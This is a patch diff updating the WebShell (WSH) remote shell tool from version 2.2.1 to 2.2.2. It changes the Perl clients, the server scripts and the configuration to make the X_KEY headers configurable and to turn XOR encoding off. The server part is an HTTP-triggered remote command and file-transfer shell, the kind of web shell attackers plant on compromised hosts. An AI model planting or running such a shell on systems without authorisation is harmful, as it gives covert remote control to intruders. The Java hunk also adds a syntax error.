# WebShell patch from 2.2.1 to 2.2.2: # # * Fast patch for the HTTP_X_KEY => X_KEY problem in client part # * Fast patch for the encode = 1 problem in server part # diff -urbBaN wsh-2.2.1/CHANGELOG wsh-2.2.2/CHANGELOG --- wsh-2.2.1/CHANGELOG 2004-07-14 13:36:05.000000000 +0200 +++ wsh-2.2.2/CHANGELOG 2006-05-07 22:31:37.000000000 +0200 @@ -1,3 +1,8 @@ +Version 2.2.2 : June, 2006 + + * Fast patch for the HTTP_X_KEY => X_KEY problem in client part + * Fast patch for the encode = 1 problem in server part + Version 2.2.1 : July, 2004 * WSH server Java servlet version was added. diff -urbBaN wsh-2.2.1/README wsh-2.2.2/README --- wsh-2.2.1/README 2004-07-14 13:28:25.000000000 +0200 +++ wsh-2.2.2/README 2006-05-07 22:33:15.000000000 +0200 @@ -1,4 +1,4 @@ -WSH 2.2.1 +WSH 2.2.2 ========= =============================================================================== @@ -81,6 +81,9 @@ 4c. Java servlet version : + Upload the java built version under a servlet executable location. + z. Double check path to perl and global parameters such as encode in server + and client scripts. + About SSL : a. If you use a SSL wsh-c.pl client, you can configure the client to check the diff -urbBaN wsh-2.2.1/client/wsh-c-HTTP.pl wsh-2.2.2/client/wsh-c-HTTP.pl --- wsh-2.2.1/client/wsh-c-HTTP.pl 2004-07-10 06:43:30.000000000 +0200 +++ wsh-2.2.2/client/wsh-c-HTTP.pl 2006-05-07 22:29:24.000000000 +0200 @@ -1,4 +1,4 @@ -#!/bin/perl +#!/usr/bin/perl # # wsh-c.pl - CGI based remote unix shell (client part) # @@ -7,12 +7,12 @@ # Simon Castro # # This file is part of WebShell which is distributed under the terms of the GNU -# General Public License v2.0 and is (c) copyright 2002,2003,2004 Alex Dyatlov +# General Public License v2.0 and is (c) copyright 2002 to 2006 Alex Dyatlov # and Simon Castro . # See README and COPYING files for details or check http://gray-world.net # -# VERSION 2.2.0 -# July, 2004 +# VERSION 2.2.2 +# May, 2006 # # INSTALL # @@ -51,6 +51,8 @@ $CONF{agent} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"; $CONF{anticache} = 0; $CONF{encode} = 0; +$CONF{http_x_key} = "X_KEY"; +$CONF{http_x_file} = "X_FILE"; #--- config - end ------------------------------------->8-- sub SetShellPrompt(); sub xor_invert(@); sub SendViaHTTP(); sub ebase64 ($;$); @@ -252,7 +254,7 @@ "User-Agent: $CONF{agent}", "Host: $hostname", "Content-Length: $conl", - "HTTP_X_KEY: $key" + $CONF{http_x_key}.": $key" ); ($CONF{use_proxy}) ? $req = join("\r\n", $req, @@ -274,7 +276,7 @@ } if ($io =~ /put/ || $io =~/get/) { $req = join("\r\n", $req, - "HTTP_X_FILE$io: $pwd$slash$file", + $CONF{http_x_file}."$io: $pwd$slash$file", "\r\n"); } else { $cmd = xor_invert($cmd) diff -urbBaN wsh-2.2.1/client/wsh-c-SSL.pl wsh-2.2.2/client/wsh-c-SSL.pl --- wsh-2.2.1/client/wsh-c-SSL.pl 2004-07-10 06:43:44.000000000 +0200 +++ wsh-2.2.2/client/wsh-c-SSL.pl 2006-05-07 22:29:06.000000000 +0200 @@ -1,4 +1,4 @@ -#!/bin/perl +#!/usr/bin/perl # # wsh-c.pl - CGI based remote unix shell (client part) # @@ -7,12 +7,12 @@ # Simon Castro # # This file is part of WebShell which is distributed under the terms of the GNU -# General Public License v2.0 and is (c) copyright 2002,2003,2004 Alex Dyatlov +# General Public License v2.0 and is (c) copyright 2002 to 2006 Alex Dyatlov # and Simon Castro . # See README and COPYING files for details or check http://gray-world.net # -# VERSION 2.2.0 -# July, 2004 +# VERSION 2.2.2 +# May, 2006 # # INSTALL # @@ -70,6 +70,8 @@ $CONF{agent} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"; $CONF{anticache} = 0; $CONF{encode} = 0; +$CONF{http_x_key} = "X_KEY"; +$CONF{http_x_file} = "X_FILE"; #--- config - end ------------------------------------->8-- $ENV{PERL_RL} = " o=0"; # use best available ReadLine without ornaments @@ -269,7 +271,7 @@ "User-Agent: $CONF{agent}", "Host: $hostname", "Content-Length: $conl", - "HTTP_X_KEY: $key" + $CONF{http_x_key}.": $key" ); ($CONF{use_proxy}) ? $req = join("\r\n", $req, @@ -291,7 +293,7 @@ } if ($io =~ /put/ || $io =~/get/) { $req = join("\r\n", $req, - "HTTP_X_FILE$io: $pwd$slash$file", + $CONF{http_x_file}."$io: $pwd$slash$file", "\r\n"); } else { $cmd = xor_invert($cmd) diff -urbBaN wsh-2.2.1/client/wsh-c.conf wsh-2.2.2/client/wsh-c.conf --- wsh-2.2.1/client/wsh-c.conf 2004-07-10 05:15:09.000000000 +0200 +++ wsh-2.2.2/client/wsh-c.conf 2006-05-07 22:36:36.000000000 +0200 @@ -2,10 +2,10 @@ # wsh-c.conf # WSH configuration file # -# VERSION 2.1.0 +# VERSION 2.2.2 # # This file is part of WebShell which is distributed under the terms of the GNU -# General Public License v2.0 and is (c) copyright 2002,2003 Alex Dyatlov +# General Public License v2.0 and is (c) copyright 2002 to 2006 Alex Dyatlov # and Simon Castro . # See README and COPYING files for details or check http://gray-world.net # @@ -55,11 +55,15 @@ # Encode data flow with Xor (0 or 1) (*) -encode 1 +encode 0 # Xor byte (1..255) (*) invert 85 +# HTTP_X_KEY - fast patch for version 2.2.2 +# Set this variable to HTTP_X_KEY or X_KEY depending of your Apache behavior +http_x X_KEY + # (*) - these values MUST be the same as in wsh-s script # hearder: "my $win32 = ..; my $encode = ..; my $invert = ..;" diff -urbBaN wsh-2.2.1/server/WshServlet.java wsh-2.2.2/server/WshServlet.java --- wsh-2.2.1/server/WshServlet.java 2004-07-14 13:37:24.000000000 +0200 +++ wsh-2.2.2/server/WshServlet.java 2006-05-07 22:36:36.000000000 +0200 @@ -45,10 +45,10 @@ ******************/ // Password Key - private final String Conf_XPASS = "KEY"; + private final String Conf_XPASS "KEY"; // Xor value - private final char Conf_XORED = 1; // 0: disabled - 1: enabled + private final char Conf_XORED = 0; // 0: disabled - 1: enabled private final char Conf_XORVAL = 85; // Shell execution parameters for *Nix diff -urbBaN wsh-2.2.1/server/wsh-s.c wsh-2.2.2/server/wsh-s.c --- wsh-2.2.1/server/wsh-s.c 2003-09-24 14:04:15.000000000 +0200 +++ wsh-2.2.2/server/wsh-s.c 2006-05-07 22:36:36.000000000 +0200 @@ -53,7 +53,7 @@ *******************************************************************************/ #define KEY "KEY" /* The identification key */ -#define ENCODE 1 /* Xor with INVERT (1) ? or cleartext (0) */ +#define ENCODE 0 /* Xor with INVERT (1) ? or cleartext (0) */ #define INVERT 85 /* Xor value */ #define WIN32_RUN 0 /* CygWin Build only : Runs on Win32 ? 1 : 0 */ diff -urbBaN wsh-2.2.1/server/wsh-s.pl wsh-2.2.2/server/wsh-s.pl --- wsh-2.2.1/server/wsh-s.pl 2003-09-24 14:03:56.000000000 +0200 +++ wsh-2.2.2/server/wsh-s.pl 2006-05-07 22:38:39.000000000 +0200 @@ -1,17 +1,17 @@ -#!/bin/perl +#!/usr/bin/perl # # This file is part of WebShell which is distributed under the terms of the GNU -# General Public License v2.0 and is (c) copyright 2002,2003 Alex Dyatlov +# General Public License v2.0 and is (c) copyright 2002 to 2006 Alex Dyatlov # and Simon Castro . # See README and COPYING files for details or check http://gray-world.net # # wsh-s.pl - cgi based remote unix shell (server part) # replace KEY with your alpha-numeric key # -# VERSION 2.1.0 +# VERSION 2.2.2 my $win32 = 0; # set $win32 = 1 to turn on WIN support -my $encode = 1; # set $encode = 1 to turn on Xor encoding +my $encode = 0; # set $encode = 1 to turn on Xor encoding my $invert = 85; if ($ENV{HTTP_X_KEY} eq "KEY"){ # <-- replace KEY with yours if (defined($ENV{HTTP_X_FILEGET})){ unless (open(F,$ENV{HTTP_X_FILEGET})){